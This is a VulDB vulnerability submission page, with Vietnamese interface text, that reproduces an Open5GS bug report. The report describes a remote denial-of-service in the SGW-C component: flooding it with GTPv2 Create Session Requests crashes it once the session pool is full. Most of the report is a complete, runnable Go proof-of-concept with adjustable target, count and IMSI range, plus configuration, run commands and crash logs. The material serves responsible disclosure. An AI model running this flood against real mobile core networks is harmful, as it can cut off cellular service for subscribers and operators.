Gửi #729354: Open5GS SGWC v2.7.6 Denial of Servicethông tin

tiêu đềOpen5GS SGWC v2.7.6 Denial of Service
Mô tả### Open5GS Release, Revision, or Tag v2.7.6 ### Steps to reproduce ### Description Open5GS SGW-C can be reliably crashed (remote DoS) by sending multiple GTPv2 Create Session Request (CSR) messages in a short period of time. When the internal SGW-C UE/session context pool reaches its limit, allocation returns NULL and the code path hits a hard assertion, causing open5gs-sgwcd to abort and dump core. In my reproduction, the fatal assertion is triggered in: src/sgwc/context.c:217 (inside sgwc_ue_add) ### Config ``` logger: file: path: /var/log/open5gs/sgwc.log global: max: ue: 10 sgwc: gtpc: server: - address: 10.44.44.2 pfcp: server: - address: 10.44.44.2 client: sgwu: - address: 10.44.44.3 ``` 1. Start a new go project inside a new folder: go mod init poc 2. Create a `main.go` and paste the code below: ``` package main import ( "errors" "flag" "fmt" "log" "math/rand" "net" "strconv" "strings" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) func main() { target := flag.String("target", "", "SGW-C GTP-C IP (required)") port := flag.Int("port", 2123, "GTP-C port") apn := flag.String("apn", "internet", "APN to request") imsiBase := flag.String("imsi-base", "001010000000001", "Base IMSI digits to increment") imsiStep := flag.Uint64("imsi-step", 1, "Increment step for IMSI") laddr := flag.String("laddr", "", "Optional local IP to bind (used for F-TEID)") pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP (default: local IP)") count := flag.Uint("count", 100, "How many CSR packets to send") interval := flag.Duration("interval", 10*time.Millisecond, "Delay between sends (0 for tight loop)") seq := flag.Uint("seq", 0, "GTPv2 sequence number (0=random per send)") mcc := flag.String("mcc", "001", "Serving network MCC") mnc := flag.String("mnc", "01", "Serving network MNC") ebi := flag.Uint("ebi", 5, "EPS Bearer ID") logEvery := flag.Uint("log-every", 50, "Log every N sends (0 logs only first/last)") flag.Parse() if *target == "" { log.Fatal("Error: --target is required") } if *ebi == 0 || *ebi > 15 { log.Fatal("Error: --ebi must be in [1,15]") } if err := validateDigits(*imsiBase); err != nil { log.Fatalf("invalid --imsi-base: %v", err) } if err := validateDigits(*mcc); err != nil || len(*mcc) != 3 { log.Fatal("Error: --mcc must be 3 digits") } if err := validateDigits(*mnc); err != nil || (len(*mnc) != 2 && len(*mnc) != 3) { log.Fatal("Error: --mnc must be 2 or 3 digits") } if *imsiStep == 0 { log.Fatal("Error: --imsi-step must be > 0") } rand.Seed(time.Now().UnixNano()) var lp *net.UDPAddr var err error if *laddr != "" { lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(*laddr, "0")) if err != nil { log.Fatalf("resolve laddr: %v", err) } } rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(*target, fmt.Sprintf("%d", *port))) if err != nil { log.Fatalf("resolve raddr: %v", err) } conn, err := net.DialUDP("udp", lp, rp) if err != nil { log.Fatalf("dial udp: %v", err) } defer conn.Close() localIP := "" if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil { localIP = udpAddr.IP.String() } if localIP == "" { log.Fatal("local IP unknown (set --laddr)") } if *pgwIP == "" { *pgwIP = localIP } log.Printf("[*] Sending CreateSessionRequest(s) to %s (count=%d)", rp, *count) for i := uint(0); i < *count; i++ { imsi, err := nextIMSI(*imsiBase, *imsiStep, uint64(i)) if err != nil { log.Fatalf("imsi generation failed: %v", err) } seqNum := uint32(*seq) if seqNum == 0 { seqNum = rand.Uint32() & 0x00ffffff if seqNum == 0 { seqNum = 1 } seqNum += uint32(i) } else { seqNum += uint32(i) } mmeTEID := randNonZeroUint32() pgwTEID := randNonZeroUint32() csr, err := buildCSR(seqNum, imsi, *apn, localIP, *pgwIP, *mcc, *mnc, uint8(*ebi), mmeTEID, pgwTEID) if err != nil { log.Fatalf("build CSR: %v", err) } b, err := csr.Marshal() if err != nil { log.Fatalf("marshal CSR: %v", err) } if _, err := conn.Write(b); err != nil { log.Printf("[!] send failed: %v", err) } else if shouldLog(i, *count, *logEvery) { log.Printf("[+] Sent %d-byte CSR seq=0x%x imsi=%s", len(b), seqNum, imsi) } if i+1 < *count && *interval > 0 { time.Sleep(*interval) } } log.Println("[*] Done. Monitor SGW-C for session pool exhaustion (assert in sgwc_sess_add).") } func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, ebi uint8, mmeTEID, pgwTEID uint32) (*message.CreateSessionRequest, error) { if localIP == "" || pgwIP == "" { return nil, fmt.Errorf("missing local or PGW IP") } senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "") pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "").WithInstance(1) bearer := ie.NewBearerContext( ie.NewEPSBearerID(ebi), ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000), ) return message.NewCreateSessionRequest( 0, seq, ie.NewIMSI(imsi), ie.NewAccessPointName(apn), ie.NewServingNetwork(mcc, mnc), ie.NewRATType(gtpv2.RATTypeEUTRAN), ie.NewPDNType(gtpv2.PDNTypeIPv4), ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified), ie.NewAggregateMaximumBitRate(500000, 500000), senderFTEID, pgwFTEID, bearer, ), nil } func nextIMSI(base string, step, index uint64) (string, error) { val, err := strconv.ParseUint(base, 10, 64) if err != nil { return "", fmt.Errorf("parse base IMSI: %w", err) } next := val + step*index if next < val { return "", errors.New("IMSI overflow") } width := len(base) nextStr := strconv.FormatUint(next, 10) if len(nextStr) > width { return "", fmt.Errorf("IMSI length overflow (%d > %d)", len(nextStr), width) } return strings.Repeat("0", width-len(nextStr)) + nextStr, nil } func validateDigits(s string) error { if s == "" { return errors.New("empty string") } for _, r := range s { if r < '0' || r > '9' { return fmt.Errorf("non-digit rune %q", r) } } return nil } func randNonZeroUint32() uint32 { v := rand.Uint32() if v == 0 { return 1 } return v } func shouldLog(i, total, every uint) bool { if total == 0 { return false } if every == 0 { return i == 0 || i+1 == total } return i%every == 0 || i+1 == total } ``` 3. Download required libraries: `go mod tidy` 4. Run the program with the upf pfcp server address: `go run main.go --target 10.44.44.2 --count 20 --interval 100ms` ### Logs ```shell 12/28 21:36:22.008: [sgwc] INFO: UE IMSI[001010000000009] APN[internet] (../src/sgwc/s11-handler.c:268) 12/28 21:36:22.108: [sgwc] INFO: [Added] Number of SGWC-UEs is now 10 (../src/sgwc/context.c:239) 12/28 21:36:22.108: [sgwc] INFO: [Added] Number of SGWC-Sessions is now 10 (../src/sgwc/context.c:924) 12/28 21:36:22.108: [sgwc] INFO: UE IMSI[001010000000010] APN[internet] (../src/sgwc/s11-handler.c:268) 12/28 21:36:22.208: [sgwc] FATAL: sgwc_ue_add: Assertion `sgwc_ue' failed. (../src/sgwc/context.c:217) 12/28 21:36:22.211: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37) open5gs-sgwcd(+0x92d1) [0x558388dd32d1] open5gs-sgwcd(+0x8fc5) [0x558388dd2fc5] open5gs-sgwcd(+0x14de9) [0x558388ddede9] /usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7f87c605043f] open5gs-sgwcd(+0x639a) [0x558388dd039a] /usr/local/lib/libogscore.so.2(+0x119a3) [0x7f87c60409a3] /lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7f87c5e75ac3] /lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7f87c5f06a74] /usr/local/bin/entrypoint.sh: line 8: 7 Aborted (core dumped) open5gs-sgwcd "${@}" ``` ### Expected behaviour When the UE pool is exhausted, SGW-C should: gracefully reject new Create Session Requests (e.g., respond with an appropriate GTP-C error cause such as "No resources available"/"System failure"), and continue running without aborting, preserving service continuity. ### Observed Behaviour SGW-C triggers a fatal assertion in sgwc_ue_add when the UE pool limit is reached. This immediately aborts open5gs-sgwcd and results in Denial of Service (DoS).
Nguồn⚠️ https://github.com/open5gs/open5gs/issues/4220
Người dùng
 ZiyuLin (UID 93568)
Đệ trình02/01/2026 13:12 (cách đây 4 các tháng)
Kiểm duyệt16/01/2026 17:36 (14 days later)
Trạng tháiđược chấp nhận
Mục VulDB341599 [Open5GS đến 2.7.5 Timer Từ chối dịch vụ]
điểm20

Do you want to use VulDB in your project?

Use the official API to access entries easily!